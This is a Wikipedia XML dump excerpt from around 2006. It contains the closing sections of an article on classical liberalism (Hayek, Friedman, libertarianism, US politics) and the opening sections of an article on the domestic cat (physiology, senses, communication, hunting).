The more economic freedom that was lost, he said, the more civil and political freedom would be lost as well. Hayek argued against these &quot;Keynesian&quot; institutions, believing that they can and will lead to the same totalitarian governments Keynesians were attempting to avoid. Hayek saw authoritarian regimes such as the fascist, Nazis, and communists, as the same totalitarian branch that sought the elimination of economic freedom. To him the elimination of economic freedom brought about the elimination of political freedom. Thus the differences between Nazis and communists are only rhetorical. The same outcomes could occur in Britain (or anywhere else) if the state sought to control the economic freedom of the individual with the policy prescriptions outlined by people like Dewey, Keynes, or Roosevelt. H Hayek also saw these economic controls being instituted in the United Kingdom and the United States and warned against these &quot;Keynesian&quot; institutions, believing that they can and will lead to the same totalitarian governments &quot;Keynesians liberals&quot; were attempting to avoid.

Nobel Prize winning economists such as Hayek and Milton Friedman have argued for years that economic freedom leads to greater political and civil rights and those governments who control the economy tend to limit economic rights and eventually will limit political, civil rights of their people. Friedman states,
:&quot;''economic freedom is simply a requisite for political freedom. By enabling people to cooperate with one another without coercion or central direction it reduces the area over which political power is exercised''.&quot; Friedman, Milton and Rose Friedman, [[Free to Choose]]: A Personal Statement, Harcort Brace Janovich, 1980, p. 2-3 

[[Friedrich von Hayek]] and [[Milton Friedman]] stated that economic freedom is a necessary condition for the creation and sustainability of civil and political freedoms. Hayek believed the same totalitarian outcomes could occur in Britain (or anywhere else) if the state sought to control the economic freedom of the individual with the policy prescriptions outlined by people like Dewey, Keynes, or Roosevelt. Classical liberal studies by the Canadian &quot;conservative&quot; free market oriented [[Fraser Institute]], the American &quot;conservative&quot; free market oriented [[Heritage Foundation]], and the [[Wall Street Journal]] state that there is a relationship between economic freedom and political and civil freedoms to the extent claimed by Friedrich von Hayek. They agree with Hayek that those countries which restrict economic freedom ultimately restrict civil and political freedoms.

==Classical liberalism and freedom==
The major tenenat of liberalism remains freedom of the individual from coersion and tyranny.  [[Friedrich von Hayek]] and [[Milton Friedman]] stated that economic freedom is a necessary condition for the creation and sustainability of civil and political freedoms. Hayek believed the same totalitarian outcomes could occur in Britain (or anywhere else) if the state sought to control the economic freedom of the individual with the policy prescriptions outlined by people like Dewey, Keynes, or Roosevelt. (Classical) liberal studies by the Canadian conservative [[Fraser Institute]], the American conservative [[Heritage Foundation]], and the Wall Street Journal argue that there is in fact a relationship between economic freedom and political and civil freedoms as Friedrich von Hayek had once said. They agree with Hayek's statement that those countries which restrict economic freedom ultimately restrict civil and political freedoms. On the other hand, economic freedom does not necesarily imply civil and political freedom.

[[F.A. Hayek]] and [[Milton Friedman]] have both observed that economic freedom is a necessary condition for the creation and sustainability of civil and political freedoms. A link between a lack of economic freedom and human rights violation has been observed over the last century; easily seen by the atrocities committed by the least economically free countries in the world which include [[Nazi]] [[Germany]], [[Soviet]] [[Russia]], [[Communist]] [[China]], [[Khmer Rouge]] [[Cambodia]]...

Hayek believed the same totalitarian outcomes could occur in Britain (or anywhere else) if the state sought to control the economic freedom of the individual with the policy prescriptions outlined by people like [[Dewey]], [[John M. Keynes]], or [[Franklin D. Roosevelt]]. The facts of history in the post-war era affirmed in his vision the accuracy of his thesis. [[Clement Atlee]]'s [[Labour Party]], after winning a land slide election in post World War II England, encouraged private business owners to hand over their property, nationalized many industries, instituted wage and price controls, and even attempted to place restrictions on their citizens ability to seek employment at will, by requiring citizens to seek permission from the central government. Another example, in the 1960s the [[Labour Party (UK)|Labour]] Government of [[Harold Wilson]] placed a limit of £30 on money people could take abroad to avoid the consequences of an inflatonary policy pursued to create full-employment. Nevertheless, British [[Democracy|democratic]] institutions survived and in 1979 a radical [[Conservative]] government led by [[Margaret Thatcher]] was elected, which, sometimes painfully, re-liberalised the economy.

Recent empirical studies by the [[Frasier Institute]], [[Heritage Foundation]], and the [[Wall Street Journal]] argued that there is in fact a relationship between [[economic freedom]] and political and civil freedoms as [[Friedrich von Hayek]] had once observed. As he stated, those countries which restrict economic freedom ultimately restrict civil and political freedoms.

*http://www.fraserinstitute.ca/shared/readmore.asp?sNav=pb&amp;id=789
*http://www.heritage.org/research/features/index/

==Classical liberalism and rhetorical liberalism as practiced in the United States==
In the [[United States]], the [[Republican Party (United States)|Republican Party]] has been accused by some of merely paying lip service to classical liberal philosophy since the [[New Deal]] era. Republican president [[Richard Nixon]], for example, instituted price controls on goods during an economic crisis in the 1970s (an act inconsistent with a strict classical liberal view).  While the &quot;New Deal&quot; [[Democratic Party (United States)|Democratic]] [[Jimmy Carter|Carter]] administration oversaw the deregulation of the airline industry while also restricting the money supply (a harsh [[monetarist]] policy) to combat [[stagflation]] which plagued the United States. Many small liberal gains were achieved under [[Ronald Reagan]] in the 1980s as liberalism gained steam world wide, but the country continued to mount a national debt because of an imbalanced budget.  The Democrats, under [[Bill Clinton]], took things a little further, balancing the U.S. budget, creating [[NAFTA]], and influencing the birth of the GATT94 [[WTO]], all of which helped usher in a prosperous decade for the United States.  The current [[George W. Bush|President Bush]] has been accused of only verbally supporting free and open markets, while continuing to mount public debt and even raising trade barriers to protect the American steel industry. Despite some strides toward liberalism, the changes made have been small, to the point where some argue that neither the Democrats nor the Republicans maintain political platforms that reflect classical liberalism even though segments of both parties argue for less free trade and more managed trade.  The [[Libertarian Party]] is an example of a party in the United States that wholeheartedly supports classical liberalism.

Within the United States, classical liberalism is rhetorically confused with conservatism.  The [[Cato Institute]], a [[think tank]] known for its advocation of classical liberalism in government, states from its website: [http://www.cato.org/about/about.html]
:''&quot;Only in America do people seem to refer to free-market capitalism--the most progressive, dynamic, and ever-changing system the world has ever known--as conservative. Additionally, many contemporary American conservatives favor state intervention in some areas, most notably in trade and into our private lives.&quot;

Many classical liberals argue that modern liberalism, as it is practiced, is mostly rhetorical lip service to liberalism's highest ideals of freedom, rather than a function of its basic assumptions: the free market.  
See [[liberalism]] for further understanding.

==Classical liberalism versus 'modern' or social liberalism==

The [[Industrial Revolution]] greatly increased material wealth, but made social problems more visible, such as pollution, child labor, and overcrowding in the cities.  Material and scientific progress led to greater longevity and a reduced mortality rate.  The population increased dramatically.  The downside of this was an oversupply of labor, which led to declining wages.  Economic liberals, such as John Locke, Adam Smith, and Wilhelm von Humboldt felt that the problems of an industrial society would correct themselves without government intervention.

In the 19th century, the voting franchise in most liberal democracies was extended, and these newly enfranchised citizens often voted in favor of government solutions to the problems they faced in their everyday lives.  A rapid increase in literacy and the spread of knowledge led to social activism in a variety of forms.  Social liberals demanded laws against child labor and laws requiring minimum standards of worker safety and a minimum wage. The [[laissez faire]] economic liberals countered that such laws were an unjust imposition on life, liberty, and property, not to mention a hindrance to economic development. Thus began the struggle.  On the one hand, economic liberals, who stress economic freedom and desire small governments.  On the other hand, social liberals, who stress equality of opportunity, and desire a government large enough to protect citizens from the consequences of economic or natural difficulties that they consider too serious to be overcome without government aid. This 19th century social liberalism was the first significant split from classical liberalism.  According to Milton Friedman:

:''&quot;Beginning in the late nineteenth century, and especially after 1930 in the United States, the term liberalism came to be associated with a very different emphasisis, particularly in economic policy.  It came to be associated with a readiness to rely primarily on the state rather than on private voluntary arrangements to acheive objectives regarded as desirable.  The catchwords became welfare and equality rather than freedom.  The nineteenth century liberal regarded an extension of freedom as the most effective way to promote welfare and equality; the tweentieth century liberal regards welfare and equality as either prerequisistes of or alternatives to freedom. In the name of welfare and equality, the twentieth-century liberal has come to  favor a revival of the very policies of state intervention and paternalism against which classical liberalism fought.  In the very act of turning the clock back to seventeenth-century merchantalism, he is fond of castigating true liberals as reactionary!&quot;

By the end of the 19th century, a growing body of liberal thought asserted that, in order to be free, individuals needed access to the requirements of fulfillment, including protection from exploitation and education. In 1911, [[L.T. Hobhouse]] published ''Liberalism'', which summarized the new liberalism, including qualified acceptance of government intervention in the economy, and the collective right to equality in dealings, what he called &quot;just consent.&quot;

Today, so-called &quot;modern liberalism&quot; has been conglomerated with [[socialism]]. Classical liberals believe that liberal philosophy is supposed to support the overall expansion of freedom in all areas, they most especially disagree with modern liberals and their embracing of stances that are inherently about taking away freedoms, such as [[gun control]], [[affirmative action]], high [[taxation]], involuntary [[social security]], [[campaign finance reform]], and opposition to [[school choice]].

In Hayek's book The Constitution of Liberty, in the chapter, &quot;Why I am not a Conservative&quot; Hayek explains to his readers that he was not a conservative because he is a liberal; and had refused to give up that label.  In the United States the term liberal had changed meaning, and according to Hayek this was because Franklin D Roosevelt had been labeled a socialist and a leftist because of his New Deal Policies.  Fearing the consequences of that label, FDR called himself a Liberal instead.  Since that day, Liberal in the United States has had a different meaning from the original, 18th and 19th century meaning of the word. People who stayed close to this original meaning label themselves often &quot;Classic Liberal&quot;, &quot;Classical Liberal&quot; or &quot;Libertarian&quot; to avoid confusion (especially in America ).

Discusing the difference between classical liberalism as the original meaning of liberalism and modern liberalism, Joeseph Schumpeter states &quot;As a supreme, if unintended compliment, the enemies of the system of private enterprise have thought it wise to appropriate its label&quot; implying that modern liberals have &quot;stolen&quot; the word and given it a definition opposite of its original meaning.

==Classical Liberalism and Libertarianism==

Libertarians may describe themselves as classical liberals but not all classical liberals will describe themselves as libertarians. Libertarians do share many philisophical, political, and economic undertones with classical liberalism, including the ideas of laissez-faire government, free markets, and individual freedom.  Classical liberals understood that in order to protect individual liberty the government must be limited in what it can do. The Libertarian party takes this classical liberal understanding alittle further by arguing for greater restrictions upon the government.

While the Libertarian Party opposes any government funding of education, classical liberals such as [[J.S. Mill]] and [[Milton Friedman]] have favored government-funded vouchers for basic schooling.  Where the Libertarians want no subsidies at all for private firms, the eminent classical liberal [[Friedrich Hayek]] acknowledges that some subsidies may be justified for the general good of society (but never for the good of the firm in question, and never merely for the purpose of redistributing income).  While the capital-L Libertarians want to leave the provision of minimum sustenance for the poor or disabled entirely to private charity, classical liberals often support residual social welfare benefits.  Friedman proposed a negative income tax (which establishes a minimum income) and Hayek favored a government role in ensuring minimum food and shelter for all.  Finally, while some Libertarians tend toward a near-absolute sanctity of contract and private property, Hayek was open to the regulation of monopolies in some cases (mainly by requiring them to treat all customers equally) and generally opposed contracts in restraint of trade (including the use of unions as labor cartels).  

===Criticism of Libertarian as Classical Liberalism===

The modern traditions of [[Libertarianism|libertarianism]] and [[neoliberalism]] claim the ideological inheritance of classical liberalism. However, many object to this blending of what they see as two separate, opposing philosophies(Katz 2003.) Samuel Freeman states that:
			
:&quot;that libertarianism’s resemblance to liberalism is superficial; in the end, libertarians reject essential liberal institutions. Correctly understood, libertarianism resembles a view that liberalism historically defined itself against, the doctrine of private political power that underlies feudalism. Like feudalism, libertarianism conceives of justified political power as based in a network of private contracts. It rejects the idea, essential to liberalism, that political power is a public power, to be be impartially exercised for the common good.&quot; 	
			
Those who emphasize the distinction between classical liberalism and libertarianism argue that libertarianism and liberalism are fundamentally incompatible because the checks and balances provided by liberal institutions conflict with the support by most libertarians of complete economic deregulation (Haworth, 1994, pp. 27).

==See also==
*[[Austrian School]]
*[[Capitalism]]
*[[Chicago school]]
*[[Deregulation]]
*[[Free market]]
*[[Globalization]]
*[[Privatization]]
*[[Liberalization]]
*[[Marketization]]
*[[Liberalism]]
*[[Libertarianism]]
*[[Paleoliberalism]]

== External links==
*[http://www.angelfire.com/rebellion/oldwhig4ever/ ''Liberalism''] by [[Friedrich Hayek]]
*[http://www.fraserinstitute.ca/shared/readmore.asp?sNav=pb&amp;id=789 fraserinstitute.ca]
*[http://www.heritage.org/research/features/index/ heritage.org]
*[[World's Smallest Political Quiz]]

==References==
*[http://www.cato.org/about/about.html Cato Institute] About the Cato Institute
*[http://www.belmont.edu/lockesmith/essay.html ''The Rise, Decline, and Reemergence of Classical Liberalism''] by Amy H. Sturgis
*Friedman, Milton. Capitalism and Freedom, University of Chicago Press, 1962.
*Friedman, Milton and Rose Friedman. Free to Choose: A Personal Statement, Harcort Brace Janovich, 1980.
*Haworth, A. (1994) ''Anti-libertarianism. Markets, philosophy and Myth'' Routledge
*Hayek, F.A., The Road to Serfdom, University of Chicago Press, 1944.
*Hayek, F.A. The Constitution of Liberty, University of Chicago Press, 1960.
*Katz, C. J., “Thomas Jefferson's Liberal Anticapitalism” American Journal of Political Science Volume 47 (2003)

[[Category:liberalism]]
[[Category:Political theories]]

[[es:Liberalismo clásico]]
[[nl:Klassiek-liberalisme]]
[[zh:古典自由主义]]</text>
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  <page>
    <title>Cat</title>
    <id>6678</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42155049</id>
      <timestamp>2006-03-04T04:33:34Z</timestamp>
      <contributor>
        <ip>65.185.221.250</ip>
      </contributor>
      <comment>/* Hunting and diet */</comment>
      <text xml:space="preserve">{{mergefrom|Cat breed}}

:''This article is about the domestic cat. For alternative meanings see [[cat (disambiguation)]].''
{{Taxobox
| color = pink
| name = Cat
| status = {{StatusDomesticated}}
| image = Cat_outside.jpg
| image_width = 200px
| image_caption = [[:Images of cats|other images of cats]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Carnivora]]
| familia = [[Felidae]]
| genus = ''[[Felis]]''
| species = ''[[Wild Cat|F. silvestris]]''
| subspecies = '''''F. s. catus'''''
| trinomial = ''Felis silvestris catus''
| trinomial_authority = ([[Carolus Linnaeus|Linnaeus]], 1758)
}}
The '''cat''', also called the '''domestic cat''' or '''house cat''', is a small [[felidae|feline]] [[carnivore|carnivorous]] [[mammal]] of the subspecies ''Felis silvestris catus''. Its most immediate pre-[[domestication]] ancestor is believed to be the [[Africa]]n [[wild cat]], ''Felis silvestris lybica''. The cat has been living in close association with [[human]]s for at least 3,500 years; the [[Ancient Egypt]]ians routinely used cats to keep [[mouse|mice]] and other rodents (mostly [[rat]]s) away from their grain (and also believed that cats were sacred to the goddess [[Bast (goddess)|Bastet]]). The history of the domestic cat may stretch back even further, as 8,000-year-old bones of humans and cats were found buried together on the island of [[Cyprus]]&lt;ref&gt;{{cite web | title=Speaking of Animals| url=http://www.judithstock.com/Speaking_of_Animals/History_of_Cats/history_of_cats.html| accessdate=August 15 | accessyear=2005 }}&lt;/ref&gt;.

A group of cats is referred to as a '''clowder''', while a male cat is called a '''tom''', and a female is called a '''queen''' or '''quean'''. An immature cat is called a '''[[kitten]]''' (which is also an alternate name for young rats, [[rabbit]]s, [[hedgehog]]s, [[beaver]]s, and [[squirrel]]s). In medieval England, kitten was interchangeable with [[catling]]. A cat whose [[genealogy|ancestry]] is formally registered is called a [[purebred cat]], a [[pedigreed cat|pedigree cat]], or a [[show cat]] (although not all show cats are pedigree or purebred). In strict terms, a purebred cat is one whose ancestry contains only individuals of the same breed.  A pedigree cat is one whose ancestry is recorded, but may have ancestors of different breeds.

Purebreds are less than one percent of the total feline population. Cats of mixed ancestry are referred to as [[domestic longhair cat|domestic longhairs]] and [[domestic shorthair cat|domestic shorthairs]] or commonly as random-bred, moggies, mongrels, mutt-cats or alley cats.  The ratio of pedigree/purebred cats to random-bred cats varies from country to country.

There are [[List of cat breeds|dozens of breeds]] of domestic cats, some [[Sphynx (cat)|hairless]] or [[Manx (cat)|tailless]], and they exist in a variety of different colors. They are skilled [[predator]]s and have been known to hunt over one thousand different [[species]] for food. They are also [[intelligence (trait)|intelligent]] animals: some are able to manipulate simple mechanisms such as lever-handled doors and [[flush toilet]]s. They communicate by calling (&quot;meow&quot;/&quot;miaou&quot;), [[purr]]ing, [[hiss]]ing, growling and gesturing. Because the domestication of the cat is relatively recent, cats may also still live effectively in the wild, often forming small [[colony (biology)|colonies]]. The cat's association with humans leads it to figure prominently in the [[mythology]] and [[legend]]s of several cultures, including the [[ancient Egypt]]ians, [[Viking]]s, and [[China|Chinese]].

==Characteristics==
===Physical===
[[Image:Cat cleaning itself.jpg|thumb|220px|A cat grooming itself]]
Cats typically weigh between 2.5 and 7&amp;nbsp;[[kilogram|kg]] (5.5–16&amp;nbsp;[[pound (weight)|lb]]); however, some breeds, such as the [[Maine Coon]] can exceed 11.3&amp;nbsp;kg (25&amp;nbsp;pounds). Some have been known to reach up to 23&amp;nbsp;kg (50&amp;nbsp;lb), due to overfeeding. This is very unhealthy for the cat, and should be prevented through [[dieting|diet]] and exercise (playing), especially for cats living exclusively indoors.

In captivity, indoor cats typically live 14 to 20 years, though the oldest-known cat lived to age 36.&lt;ref&gt;{{cite web | title=Feline Statistics | url=http://www.pawsonline.info/feline_statistics.htm | accessdate=August 15 | accessyear=2005 }}&lt;/ref&gt;  Domestic cats tend to live longer if they are not permitted to go outdoors (reducing the risk of injury from fights or accidents) and if they are [[spayed or neutered]]. Spaying and neutering a cat also decreases the risk of [[testicular cancer|testicular]] and [[ovarian cancer]], and female cats spayed before their first [[estrus|heat]] or [[litter (animal)|litter]] benefit from reduced risk of [[mammary tumor|mammary cancer]].&lt;ref&gt;{{cite web | title=Spay and Neuter Your Pet Cats | url=http://cats.about.com/od/reproduction/a/spay_neuter.htm | accessdate=August 8 | accessyear=2005 }}&lt;/ref&gt; [[Feral cat]]s living in modern [[Urbanization|urban]] environments often live only two years, or less.  Feral cats in maintained colonies can live much longer; the British Cat Action Trust reported a 19-year-old feral female.  The oldest feral cat was ''Mark'' who was maintained by the British charity [[Cats Protection]] and who reached 26 years of age.

Thirty-two individual muscles in the ear allow for a manner of directional hearing; &lt;ref&gt;{{cite web | title=At Home : Care / Health : Understanding Cats | url=http://www.hgtv.com/hgtv/ah_pets_care_health/article/0,1801,HGTV_3152_1380540,00.html | accessdate=August 15 | accessyear=2005 }}&lt;/ref&gt; the cat can move each ear independently of the other. Thus a cat can move its body in one direction and point its ears in quite another direction (such as pointing backward toward its owner). Most cats have straight [[ear]]s pointing upward. Unlike [[dog]]s, flap-eared breeds are extremely rare. ([[Scottish Fold]]s are one such exceptional [[genetic mutation]].) When angry or frightened, a cat will lay its ears back, to accompany the growling or [[hiss]]ing sounds it makes.  
Cats conserve energy by [[sleep]]ing more than most animals, especially as they grow older. Daily durations of sleep are various, usually 12&amp;ndash;16 hours, with 13&amp;ndash;14 being the average.  Some cats can sleep as much as 20 hours in a 24-hour period.  The term ''cat nap'' refers to the cat's ability to fall asleep for a brief period; someone who nods off for a few minutes is said to be &quot;taking a cat nap&quot;.

Due to their nocturnal nature, cats are often known to enter a period of increased hyperactivity and playfulness during the evening, dubbed the 'evening crazies' or 'night crazies' by some. &lt;ref&gt;Animal Doctor (July 9, 2002). &quot;Dear Dr. Fox&quot;. ''The Washington Post'', p. C10.&lt;/ref&gt; &lt;ref&gt;* Ring, Ken and Romhany, Paul (August 1, 1999). ''Pawmistry: How to Read Your Cat's Paws''. Ten Speed Press (Berkeley, California), p. 10. ISBN 1580081118&lt;/ref&gt;

The temperament of a cat can vary depending on the breed and socialization. Shorter haired cats tend to be skinnier and more active, while cats with longer hair tend to be heavier and less active. 

The normal [[thermoregulation|body temperature]] of a cat is between 38 and 39&amp;nbsp;°[[Celsius|C]] (101 and 102.2&amp;nbsp;°[[Fahrenheit|F]]).&lt;ref&gt;{{cite web | title=Normal Values For Dog and Cat Temperature, Blood Tests, Urine and other information in ThePetCenter.com | url=http://www.thepetcenter.com/exa/nv.html | accessdate=August 8 | accessyear=2005 }}&lt;/ref&gt; A cat is considered [[febrile]] if it has a temperature of 39.5&amp;nbsp;°C (103&amp;nbsp;&amp;deg;F) or greater, or [[hypothermic]] if less than 37.5&amp;nbsp;°C (100&amp;nbsp;&amp;deg;F). Comparatively, humans have a normal temperature of approximately 37&amp;nbsp;°C (97 to 100&amp;nbsp;°F). A domestic cat's normal heart rate ranges from 140 to 220 beats per minute, and is largely dependent on how excited the cat is. For a cat at rest, the average heart rate should be between 150 and 180 bpm, depending upon level of activity.

A popular belief holds that cats always land on their feet; they do usually&amp;mdash;but not always. During a fall, a cat can reflexively twist its body and right itself using its acute [[equilibrioception|sense of balance]] and flexibility. &lt;ref&gt;{{cite web | title=Falling Cats | url=http://www.verrueckte-experimente.de/leseproben_e.html | accessdate=October 24 | accessyear=2005 }}&lt;/ref&gt;It always rights itself in the same way, provided it has the time to do so during a fall.  Certain breeds that don't have a [[tail (anatomy)|tail]] are a notable exception, since a cat moves its tail and relies on conservation of [[angular momentum]] to set up for landing.

Cats, like dogs, are [[digitigrade]]s: they walk directly on their toes, the [[bone]]s of their feet making up the lower part of the visible leg. They are capable of walking very precisely, placing each hind paw directly in the print of the corresponding forepaw, minimising noise and visible tracks.

===Senses===
[[Image:Cat_eye.jpeg|thumb|right|220px|A close-up of a cat's eye]]

''Measuring the senses of any animal can be difficult, because there is usually no explicit communication (e.g., reading aloud the letters of a [[Snellen chart]]) between the subject and the tester. ''

While a cat's senses of [[olfaction|smell]] and [[hearing (sense)|hearing]] may not be as keen as, say, those of a mouse, they are superior in many ways to those of humans. These along with the cat's highly advanced [[visual perception|eyesight]], [[taste]], and [[touch]] receptors make the cat extremely sensitive among mammals.

====Sight====
Testing indicates that a cat's vision is superior [[night vision|at night]] in comparison to humans, and inferior in daylight. Cats, like dogs, have a ''[[tapetum lucidum]]'' that reflects extra light to the retina. While this enhances the ability to see in low light, it appears to reduce net [[visual acuity]], thus detracting when light is abundant. In very bright light, the slit-like [[Iris (anatomy)|iris]] closes very narrowly over the [[eye]], reducing the amount of light on the sensitive [[retina]], and improving [[depth of field]]. The tapetum and other mechanisms give the cat a minimum light detection threshold up to seven times lower than that of humans. Variation in color of cats' eyes in [[Flash (photography)|flash]] [[photograph]]s is largely due to the interaction of the flash with the [[Tapetum lucidum|tapetum]].

Average cats have a visual [[field of view]] estimated at 200&amp;#176;, versus 180&amp;#176; in humans, with a binocular field (overlap in the images from each eye) narrower than that of humans. As with most predators, their eyes face forward, affording [[depth perception]] at the expense of field of view. Field of view is largely dependent upon the placement of the eyes, but may also be related to the eye's construction. Instead of the [[Optic fovea|fovea]] which gives humans sharp central vision, cats have a central band known as the visual streak. Cats can apparently differentiate among [[color]]s, especially at close range, but without appreciable subtlety.

Cats have a third eyelid, the [[nictitating membrane]], which is a thin cover that closes from the side and appears when the cat's eyelid opens. This membrane partially closes if the cat is sick; although in a sleepy, content cat this membrane is often visible. If a cat chronically shows the third eyelid, it should be taken to a [[veterinarian]].

====Hearing====
Humans and cats have a similar range of hearing on the low end of the scale, but cats can hear much higher-pitched sounds, even better than dogs. Cats can hear 2 [[octave]]s higher than humans, and one-half octave higher than dogs. When listening for something, a cat's ears will swivel in that direction; a cat's ear flaps ([[pinna]]e) can independently point backwards as well as forwards and sideways to pinpoint the source of the [[sound]]. Cats can judge within three inches (7.5&amp;nbsp;cm) the location of a sound being made one yard (approximately one meter) away.

====Smell====
A domestic cat's sense of smell is about fourteen times stronger than a human's.&lt;!-- I can't find this reference {{ref|littergarden}}--&gt; Cats have twice as many smell-sensitive cells in their noses as people do, which means they can smell things we are not even aware of. Cats also have a scent organ in the roof of their mouths called the [[vomeronasal organ|vomeronasal]], or Jacobson's, organ. When a cat wrinkles its muzzle, lowers its chin, and lets its tongue hang a bit, it is opening the passage to the vomeronasal. This is called ''gaping''. Gaping is the equivalent of the [[Flehmen response]] in other animals, such as [[dog]]s and [[horses]].
[[Image:Kot Leni.jpg|thumb|left|200px| A cat using its senses for exploration]]

====Touch====
Cats generally have about a dozen [[vibrissae|whiskers]] in four rows on each upper lip, a few on each cheek, tufts over the eyes and bristles on the chin. Whiskers may also be found on the cat's &quot;elbows&quot;, and there are similar hairs comprising the cat's eyebrows. The Sphynx (a nearly hairless breed) may have full length, short, or no whiskers at all.

Whiskers (technically called [[vibrissae]]) can aid with [[navigation]] and sensation. Whiskers may detect very small shifts in [[wind|air currents]], enabling a cat to know it is near obstructions without actually seeing them. The upper two rows of whiskers can move independently from the lower two rows for even more precise measuring.

It is thought that a cat may choose to rely on the whiskers in dim light where fully dilating the pupils would reduce its ability to focus on close objects. The whiskers also spread out roughly as wide as the cat's body making it able to judge if it can fit through an opening.

Whiskers are also an indication of the cat's attitude. Whiskers point forward when the cat is inquisitive and friendly, and lie flat on the face when the cat is being defensive or aggressive.

====Taste====
According to ''[[National Geographic]]'' ([[December 8]]), cats cannot taste sugary foods due to a faulty [[sweetness|sweet receptor]] [[gene]]. Some scientists believe this is related to the cat's diet being naturally high in protein, though it is unclear whether it is the cause or the result of it.

===Communication===
[[Image:Mougie-1024.JPG|thumb|A cat vocalizing]]
The unique sound a small cat makes is written [[onomatopoeia|onomatopoeically]] as &quot;meow&quot; in [[American English]]; &quot;meow&quot; or &quot;miaow&quot; in [[British English]]; &quot;miaou&quot; or &quot;miaw&quot; in [[French language|French]]; &quot;miao&quot; in Mandarin [[Chinese language|Chinese]] and Italian; &quot;miau&quot; in German, Spanish, Finnish, Lithuanian, Polish, Croatian, Romanian and Portuguese; &quot;miau&quot; or &quot;מיאו&quot; in [[Hebrew language|Hebrew]]; &quot;mjau&quot; or &quot;mæo(u)&quot; in [[Norwegian language|Norwegian]]; &quot;miyav&quot; in [[Turkish language|Turkish]]; &quot;mjäu&quot; in [[Estonian language|Estonian]]; &quot;mowa'a&quot; in [[Arabic]]; &quot;nyaa&quot; or &quot;nyan&quot; in [[Japanese language|Japanese]]; &quot;meong&quot; or &quot;ngeong&quot; in [[Indonesian language|Bahasa Indonesia]]; &quot;ngiau&quot; in [[Malay language|Malay]]; &quot;nyau&quot; in [[Swahili]]; &quot;yaong&quot; or &quot;nyaong&quot; in [[Korean language|Korean]]; and various ways in other [[language]]s.

The sound of an increasingly annoyed cat is transcribed in [[James Joyce]]'s ''[[Ulysses (novel)|Ulysses]]'' as &quot;mkgnao&quot;, &quot;mrkgnao&quot; and &quot;mrkrgnao&quot; &lt;ref&gt;{{cite web | title=Calypso (Ulysses ch4) | url=http://www.robotwisdom.com/jaj/ulysses/calypso.html | accessdate=October 24 | accessyear=2005 }}&lt;/ref&gt;, and the sound made by Pixel, the title character of [[Robert A. Heinlein]]'s ''[[The Cat Who Walks Through Walls]]'', was written as &quot;blert&quot;, while the sound made by [[Bill the Cat]] in [[Berkeley Breathed]]'s comic strip [[Bloom County]] was generally described as &quot;ack&quot;. The cat's pronunciation of this call varies significantly depending on meaning. Usually cats call out to indicate pain, request human attention (to be fed or played with, for example), or as a greeting. Some cats are very vocal, and others rarely call out. Cats are capable of about 100 different vocalisations, compared to about 10 for dogs.

A kitten's call first starts out as a high-pitched squeak-like sound when very young, and then deepens over time. Some cats, however, do not exercise their voices a lot, so their call may remain similar to that of a kitten through adulthood.

Cats can also produce a purring noise that typically indicates that the cat is happy, but also can mean that it feels distress. Cats purr among other cats—for example, when a mother meets her kittens.  Until recently, there were many competing theories to explain how cats purr, including vibration of the cat's false vocal chords when inhaling and exhaling, the sound of blood hitting the aorta, vibration of the hyoid apparatus, or resonation directly in the lungs.  Currently, though, it is believed that purring is a result of rhythmic impulses to the cat's [[larynx]].

It is possible for a cat to call out and purr simultaneously, although this is typical only in very vocal cats. In addition to purring, happy cats may blink slowly or partially close their eyes to break any possible stares and communicate their ease in the situation. However, purring may also be a way for the cat to calm itself down. For example, cats have been known to purr when hurt. 

Most cats growl or hiss when angered or in danger. Some may engage in nipping behavior or batting with their paws, either with claws extended or retracted. With cats who are improperly socialised and do not know their own strength, this can result in inadvertent damage to human skin. Cat scratches can easily become infected, and in extreme cases can result in [[cat scratch fever]].

Cats are also known to make chirping or chattering noises when observing prey, or as a means of expressing interest in an object to nearby humans. When directed at out-of-reach prey, it is unknown whether this is a threatening sound, an expression of frustration, or an attempt to replicate a birdcall (or replicate the call of a bird's prey, for example a [[cicada]]).  Recent animal behaviorists have come to believe this noise is a &quot;rehearsal behavior&quot; in which it anticipates or practices the killing of prey, because the sound usually accompanies a jaw movement similar to the one they use to kill their prey (the &quot;killing bite&quot; which saws through the victim's neck vertebrae).

When passing solid waste, cats, like many types of predators, release from anal glands a small amount of liquid that scents their feces, to mark their territory.  These scent-producing anal sacs are found in all predators; those of the [[skunk]] are used for self-defense, for example. During moments of excitement or other strong emotions, a cat's anal sac may discharge, releasing a foul-smelling brown liquid. Anal irritation, possibly shown by the cat rubbing its bottom on the floor and frequent licking of the area, can be a sign that the cat's anal sacs are not being emptied when waste passes &lt;ref&gt;{{cite web | title=Anal Sac Disease | url=http://www.dr-dan.com/analsac.htm | accessdate=October 24 | accessyear=2005 }}&lt;/ref&gt;.  Although this condition can be treated through the addition of a small amount of bran to each meal, it may require veterinary attention. Shorthair cats are more prone to this problem. 

Cats will twitch the tips of their tails when hunting or angry, while larger twitching indicates displeasure.  A tail held high is a sign of happiness, while half-raised shows less pleasure, and unhappiness is indicated with a tail held low.  A scared cat may puff up its tail and the hair along its back and turn its body sideways to a threat in order to increase its apparent size.  Tailless cats, such as the [[Manx (cat)|Manx]], who possess only a small stub of a tail move the stub around as though they possessed a full tail, though it is not nearly as communicative as that of a fully tailed cat.  Touching noses is a friendly greeting for cats, while a lowered head is a sign of submission.

[[image:2003-08-10 feather 04.JPG|thumb|left|A mackerel tabby cat kneading a blanket before a nap. Note the forward position of the whiskers, indicating happiness.]]When cats are happy, they are known to paw their owners, or that on which they sit, with a kneading motion.  Cats often use this action alongside purring to show contentment and affection for their owners.  The action is often referred to as paddy-pawing, making muffins or treading paws.  It is instinctive to cats, and they use it when they are young to stimulate the mother cat's [[nipple]] to release milk during nursing.  As a result, cats that are hand-raised by humans may lack this reflex.  Pawing is also a way for cats to mark their territory.  The scent glands on the underside of their paws release small amounts of scent onto the person or object being pawed, marking it as &quot;theirs&quot; in the same way they would urinate to mark their territory.

===Hunting and diet===
Relative to size, domestic cats are very effective predators. They ambush and dispatch vertebrate [[prey]] using tactics similar to those of [[leopard]]s and [[tiger]]s by pouncing; they then deliver a lethal neck bite with their long [[canine tooth|canine teeth]] that severs the victim's [[spinal cord]], or asphyxiate it by crushing the windpipe.

The domestic cat can hunt and eat about one thousand [[species]]—many [[big cat]]s will eat fewer than 100. Although, theoretically, big cats can kill most of these species as well, they often do not due to the relatively low nutritional content that smaller animals provide. An exception is the leopard, which commonly hunts rabbits and many other smaller animals.
